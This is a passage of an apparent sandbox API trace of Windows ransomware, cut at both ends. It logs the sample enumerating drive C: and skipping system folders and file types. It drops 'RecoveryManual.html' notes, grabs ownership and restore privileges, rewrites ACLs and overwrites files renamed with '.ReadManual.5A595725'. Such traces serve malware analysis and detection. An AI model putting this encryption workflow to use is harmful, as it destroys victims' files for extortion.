(lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.931] lstrlenW (lpString="\\\\?\\c:\\Boot\\zh-TW\\") returned 18 [0175.931] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\zh-TW\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.932] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\zh-TW\\" | out: lpString1="\\\\?\\c:\\Boot\\zh-TW\\") returned="\\\\?\\c:\\Boot\\zh-TW\\" [0175.932] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.932] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.932] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.932] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.932] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.932] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.932] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.932] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.932] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.932] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.932] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\zh-TW\\" | out: lpString1="\\\\?\\c:\\Boot\\zh-TW\\") returned="\\\\?\\c:\\Boot\\zh-TW\\" [0175.932] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\zh-TW\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\zh-TW\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\zh-TW\\RecoveryManual.html" [0175.932] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\zh-TW\\RecoveryManual.html" (normalized: "c:\\boot\\zh-tw\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.932] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.933] CloseHandle (hObject=0x15c) returned 1 [0175.933] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.933] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.933] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.933] FindClose (in: hFindFile=0x688c28 | out: hFindFile=0x688c28) returned 1 [0175.934] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0175.934] lstrcpyW (in: lpString1=0x6ab8aa, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0175.934] lstrcmpiW (lpString1="bootmgr", lpString2="RecoveryManual.html") returned -1 [0175.934] StrStrIW (lpFirst="bootmgr", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.934] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\bootmgr" | out: lpString1="\\\\?\\c:\\bootmgr") returned="\\\\?\\c:\\bootmgr" [0175.934] lstrcatW (in: lpString1="\\\\?\\c:\\bootmgr", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\bootmgr.ReadManual.5A595725") returned="\\\\?\\c:\\bootmgr.ReadManual.5A595725" [0175.934] lstrlenW (lpString="\\\\?\\c:\\bootmgr.ReadManual.5A595725") returned 34 [0175.934] QueryPerformanceCounter (in: lpPerformanceCount=0x434fea8 | out: lpPerformanceCount=0x434fea8*=29660253323) returned 1 [0175.934] GetFileAttributesW (lpFileName="\\\\?\\c:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0175.934] SetFileAttributesW (lpFileName="\\\\?\\c:\\bootmgr", dwFileAttributes=0x26) returned 0 [0175.934] CreateFileW (lpFileName="\\\\?\\c:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.934] GetLastError () returned 0x5 [0175.934] GetNamedSecurityInfoW () returned 0x0 [0175.941] GetCurrentProcess () returned 0xffffffff [0175.941] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x434fe0c | out: TokenHandle=0x434fe0c*=0x14c) returned 1 [0175.941] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x434fe00 | out: lpLuid=0x434fe00*(LowPart=0x9, HighPart=0)) returned 1 [0175.944] AdjustTokenPrivileges (in: TokenHandle=0x14c, DisableAllPrivileges=0, NewState=0x434fdfc*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0175.944] CloseHandle (hObject=0x14c) returned 1 [0175.944] GetCurrentProcess () returned 0xffffffff [0175.944] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x434fe0c | out: TokenHandle=0x434fe0c*=0x14c) returned 1 [0175.944] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x434fe00 | out: lpLuid=0x434fe00*(LowPart=0x12, HighPart=0)) returned 1 [0175.944] AdjustTokenPrivileges (in: TokenHandle=0x14c, DisableAllPrivileges=0, NewState=0x434fdfc*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0175.944] CloseHandle (hObject=0x14c) returned 1 [0175.944] AllocateAndInitializeSid (in: pIdentifierAuthority=0x434fe40, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x2e4004 | out: pSid=0x2e4004*=0x666ec0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0175.947] SetEntriesInAclA () returned 0x0 [0175.947] SetNamedSecurityInfoW () returned 0x0 [0175.949] SetNamedSecurityInfoW () returned 0x0 [0175.950] SetFileAttributesW (lpFileName="\\\\?\\c:\\bootmgr", dwFileAttributes=0x26) returned 1 [0175.950] CreateFileW (lpFileName="\\\\?\\c:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0175.950] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x434fec0 | out: lpFileSize=0x434fec0*=383786) returned 1 [0175.950] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5db2a, lpName=0x0) returned 0x188 [0175.950] SetFileInformationByHandle (hFile=0x14c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x54) returned 1 [0175.951] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.951] WriteFile (in: hFile=0x14c, lpBuffer=0x434fda8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fda4, lpOverlapped=0x0 | out: lpBuffer=0x434fda8*, lpNumberOfBytesWritten=0x434fda4*=0x20, lpOverlapped=0x0) returned 1 [0175.952] WriteFile (in: hFile=0x14c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fda4, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fda4*=0x100, lpOverlapped=0x0) returned 1 [0175.952] MapViewOfFile (hFileMappingObject=0x188, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5db2a) returned 0x25b0000 [0175.961] UnmapViewOfFile (lpBaseAddress=0x25b0000) returned 1 [0175.963] QueryPerformanceCounter (in: lpPerformanceCount=0x434feb0 | out: lpPerformanceCount=0x434feb0*=29663140432) returned 1 [0175.963] CloseHandle (hObject=0x188) returned 1 [0175.963] SetSecurityInfo () returned 0x5 [0175.963] SetSecurityInfo () returned 0x5 [0175.963] LocalFree (hMem=0x667cc0) returned 0x0 [0175.963] CloseHandle (hObject=0x14c) returned 1 [0175.968] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\" | out: lpString1="\\\\?\\c:\\") returned="\\\\?\\c:\\" [0175.968] lstrcatW (in: lpString1="\\\\?\\c:\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\RecoveryManual.html") returned="\\\\?\\c:\\RecoveryManual.html" [0175.968] CreateFileW (lpFileName="\\\\?\\c:\\RecoveryManual.html" (normalized: "c:\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0175.969] WriteFile (in: hFile=0x14c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434ff10, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434ff10*=0xae9, lpOverlapped=0x0) returned 1 [0175.970] CloseHandle (hObject=0x14c) returned 1 [0175.970] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0175.970] lstrcpyW (in: lpString1=0x6ab8aa, lpString2="BOOTSECT.BAK" | out: lpString1="BOOTSECT.BAK") returned="BOOTSECT.BAK" [0175.970] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="RecoveryManual.html") returned -1 [0175.970] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.970] StrCmpIW (psz1="BAK", psz2="exe") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="dll") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="sys") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="msi") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="mui") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="inf") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="cat") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="bat") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="cmd") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="ps1") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="vbs") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="ttf") returned -1 [0175.970] StrCmpIW (psz1="BAK", psz2="fon") returned -1 [0175.971] StrCmpIW (psz1="BAK", psz2="lnk") returned -1 [0175.971] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\BOOTSECT.BAK" | out: lpString1="\\\\?\\c:\\BOOTSECT.BAK") returned="\\\\?\\c:\\BOOTSECT.BAK" [0175.971] lstrcatW (in: lpString1="\\\\?\\c:\\BOOTSECT.BAK", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\BOOTSECT.BAK.ReadManual.5A595725") returned="\\\\?\\c:\\BOOTSECT.BAK.ReadManual.5A595725" [0175.971] lstrlenW (lpString="\\\\?\\c:\\BOOTSECT.BAK.ReadManual.5A595725") returned 39 [0175.971] QueryPerformanceCounter (in: lpPerformanceCount=0x434fea8 | out: lpPerformanceCount=0x434fea8*=29663942820) returned 1 [0175.971] GetFileAttributesW (lpFileName="\\\\?\\c:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0175.971] SetFileAttributesW (lpFileName="\\\\?\\c:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0175.972] CreateFileW (lpFileName="\\\\?\\c:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0175.972] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x434fec0 | out: lpFileSize=0x434fec0*=8192) returned 1 [0175.972] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2000, lpName=0x0) returned 0x188 [0175.972] SetFileInformationByHandle (hFile=0x14c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x5e) returned 1 [0175.972] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.972] WriteFile (in: hFile=0x14c, lpBuffer=0x434fda8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fda4, lpOverlapped=0x0 | out: lpBuffer=0x434fda8*, lpNumberOfBytesWritten=0x434fda4*=0x20, lpOverlapped=0x0) returned 1 [0175.973] WriteFile (in: hFile=0x14c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fda4, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fda4*=0x100, lpOverlapped=0x0) returned 1 [0175.973] MapViewOfFile (hFileMappingObject=0x188, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2000) returned 0x2f0000 [0175.975] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0175.975] QueryPerformanceCounter (in: lpPerformanceCount=0x434feb0 | out: lpPerformanceCount=0x434feb0*=29664347495) returned 1 [0175.975] CloseHandle (hObject=0x188) returned 1 [0175.975] SetSecurityInfo () returned 0x57 [0175.975] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0175.975] CloseHandle (hObject=0x14c) returned 1 [0175.975] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0175.975] lstrcpyW (in: lpString1=0x69b8aa, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0175.975] lstrcatW (in: lpString1="Config.Msi", lpString2="\\" | out: lpString1="Config.Msi\\") returned="Config.Msi\\" [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\Windows\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\WINNT") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.975] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Config.Msi\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.976] lstrlenW (lpString="\\\\?\\c:\\Config.Msi\\") returned 18 [0175.976] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Config.Msi\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x688c28 [0175.976] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Config.Msi\\" | out: lpString1="\\\\?\\c:\\Config.Msi\\") returned="\\\\?\\c:\\Config.Msi\\" [0175.976] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.976] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0175.976] FindClose (in: hFindFile=0x688c28 | out: hFindFile=0x688c28) returned 1 [0175.976] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0175.976] lstrcpyW (in: lpString1=0x69b8aa, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0175.976] lstrcatW (in: lpString1="Documents and Settings", lpString2="\\" | out: lpString1="Documents and Settings\\") returned="Documents and Settings\\" [0175.976] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\Windows\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\WINNT") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and Settings\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.977] StrStrIW (lpFirst="\\\\?\\c:\\Documents and 